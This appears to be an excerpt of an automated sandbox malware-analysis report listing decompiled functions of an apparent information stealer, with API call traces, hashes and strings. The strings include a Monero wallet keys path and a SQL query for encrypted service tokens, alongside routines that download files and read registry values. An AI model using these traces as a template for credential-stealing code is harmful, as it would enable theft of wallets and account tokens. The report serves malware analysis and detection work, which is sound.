Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 37abff20d69e50c994a385314468177ab5e57fa24e56f97b3990d3e1f82bb11b
Instruction ID: dd096da45ced8acb1a4518e779335755a107404dce0a08680fc1ea04c50460b3
Opcode Fuzzy Hash: 37abff20d69e50c994a385314468177ab5e57fa24e56f97b3990d3e1f82bb11b
Instruction Fuzzy Hash: AE213BB1E44208ABDB00DFD4DD49FAEB7B8FB45B04F104119F605BB280C77869018BA5

Function 001860A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

Part of subcall function 001847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00184839
Part of subcall function 001847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00184849

InternetOpenA.WININET(001A0DF7,00000001,00000000,00000000,00000000), ref: 0018610F
StrCmpCA.SHLWAPI(?,0134E510), ref: 00186147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0018618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 001861B3
InternetReadFile.WININET(?,?,00000400,?), ref: 001861DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0018620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00186249
InternetCloseHandle.WININET(?), ref: 00186253
InternetCloseHandle.WININET(00000000), ref: 00186260

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 0d09c9d160b3558c9e258b2eb0eebd53b66406f375526f76ce906569ffc5d142
Instruction ID: f903bf977981f0270a7d5a2d78bea71577765b1ffe722f5db4a6b089684b3354
Opcode Fuzzy Hash: 0d09c9d160b3558c9e258b2eb0eebd53b66406f375526f76ce906569ffc5d142
Instruction Fuzzy Hash: 5A515BB1A00218ABDF24EFA0DC49FEE77B9FB44705F108098B605A7181DB756B89CF95

Function 0018BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

lstrlen.KERNEL32(00000000), ref: 0018BC9F

Part of subcall function 00198E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00198E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0018BCCD
lstrlen.KERNEL32(00000000), ref: 0018BDA5
lstrlen.KERNEL32(00000000), ref: 0018BDB9

Strings

AccountTokens, xrefs: 0018BB49
AccountId, xrefs: 0018BCC4
AccountTokens, xrefs: 0018BABA
SELECT service, encrypted_token FROM token_service, xrefs: 0018BBEB

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: a5efb05fa5338cc0d62430fc829720181f9ef731c8755a5c3ccc52a4db9274c3
Instruction ID: e76cd137f3852378d4d62382ad96970811dece7c6cfbd3caa7a3e2ebbd4acacb
Opcode Fuzzy Hash: a5efb05fa5338cc0d62430fc829720181f9ef731c8755a5c3ccc52a4db9274c3
Instruction Fuzzy Hash: FAB11B76910118ABDF04FBA0DD96EEE737DBF64305F804168F506A6091EF346A4DCBA2

Function 00184FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00184FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00184FD1
InternetOpenA.WININET(001A0DDF,00000000,00000000,00000000,00000000), ref: 00184FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00185011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00185041
InternetCloseHandle.WININET(?), ref: 001850B9
InternetCloseHandle.WININET(?), ref: 001850C6

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: aba58e519071c04a7ee8430a3f49da57f57b3cf024bce5cc9dd8c657e54b91e4
Instruction ID: 177b3d4124980aca6cf4c63cea2351b07c71175f6ba2ff110c9d038ba692f385
Opcode Fuzzy Hash: aba58e519071c04a7ee8430a3f49da57f57b3cf024bce5cc9dd8c657e54b91e4
Instruction Fuzzy Hash: 303108B4A0021CABDB20DF94DC85BDCB7B8FB48708F5081D9F609A7280C7706AC58F99

Function 001983DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00198426
wsprintfA.USER32 ref: 00198459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0019847B
RegCloseKey.ADVAPI32(00000000), ref: 0019848C
RegCloseKey.ADVAPI32(00000000), ref: 00198499

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

RegQueryValueExA.KERNEL32(00000000,0134DBC8,00000000,000F003F,?,00000400), ref: 001984EC
lstrlen.KERNEL32(?), ref: 00198501
RegQueryValueExA.KERNEL32(00000000,0134DB20,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,001A0B34), ref: 00198599
RegCloseKey.KERNEL32(00000000), ref: 00198608
RegCloseKey.ADVAPI32(00000000), ref: 0019861A

Strings

%s\%s, xrefs: 0019844D

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 8d80e15ac613c133e89375210964093274da2589bbeccbaeae97d4abc6361e7a
Instruction ID: 2a2313e05d4ba8ee6d5e261e6af323eb2fcaf8dbdd6f8916c235af618dbc2d77
Opcode Fuzzy Hash: 8d80e15ac613c133e89375210964093274da2589bbeccbaeae97d4abc6361e7a
Instruction Fuzzy Hash: 9C21E97191022CABDB24DB54DC85FE9B7B8FB48704F00C5D8E649A6140DF71AA85CFE4

Function 00197690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001976A4
RtlAllocateHeap.NTDLL(00000000), ref: 001976AB
RegOpenKeyExA.KERNEL32(80000002,0133BA10,00000000,00020119,00000000), ref: 001976DD
RegQueryValueExA.KERNEL32(00000000,0134DD18,00000000,00000000,?,000000FF), ref: 001976FE
RegCloseKey.ADVAPI32(00000000), ref: 00197708

Strings

Windows 11, xrefs: 001976BD

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 064810349621122470e804aa80dd02863043a97dedce1a3c8875a0af6c2de942
Instruction ID: 1ad954b618e4d2f314cc75a8afff40bb4712729e9d6a188aaef18daf381f072f
Opcode Fuzzy Hash: 064810349621122470e804aa80dd02863043a97dedce1a3c8875a0af6c2de942
Instruction Fuzzy Hash: E5014FB9A04708BBEB05DBE4DD4DF6ABBBCEB48709F104054FA04D7290D770A9048B51

Function 00197720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00197734
RtlAllocateHeap.NTDLL(00000000), ref: 0019773B
RegOpenKeyExA.KERNEL32(80000002,0133BA10,00000000,00020119,001976B9), ref: 0019775B
RegQueryValueExA.KERNEL32(001976B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0019777A
RegCloseKey.ADVAPI32(001976B9), ref: 00197784

Strings

CurrentBuildNumber, xrefs: 00197771

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 59ed624974c856a1d2bb054e738f1e7b6f828894589614896ef58fcddafd341b
Instruction ID: 71ae5b61d01fdc1c4d211ba563d5c3a11e513a4f0413b0c4ee61f9e81444bfeb
Opcode Fuzzy Hash: 59ed624974c856a1d2bb054e738f1e7b6f828894589614896ef58fcddafd341b
Instruction Fuzzy Hash: 1E0117B9A4030CBBDB01DBE4DC49FAEB7BCEB48705F104555FA05E7281DB7065408B51

Function 001940B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001940D5
RegOpenKeyExA.KERNEL32(80000001,0134D678,00000000,00020119,?), ref: 001940F4
RegQueryValueExA.ADVAPI32(?,0134DE68,00000000,00000000,00000000,000000FF), ref: 00194118
RegCloseKey.ADVAPI32(?), ref: 00194122
lstrcat.KERNEL32(?,00000000), ref: 00194147
lstrcat.KERNEL32(?,0134DE98), ref: 0019415B

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: e74426a0db948b9434ca78808193e15b6a6a1684f4f02a4beb5e4190660e94b9
Instruction ID: fc1f06122f0cf352f5aee39f2df1f54435256345029bc828de8b9a3adb6d7a8d
Opcode Fuzzy Hash: e74426a0db948b9434ca78808193e15b6a6a1684f4f02a4beb5e4190660e94b9
Instruction Fuzzy Hash: 9541B6B6D0010C6BDB15FBA0EC46FEE733DAB99304F004558B619D6181EB756B898B92

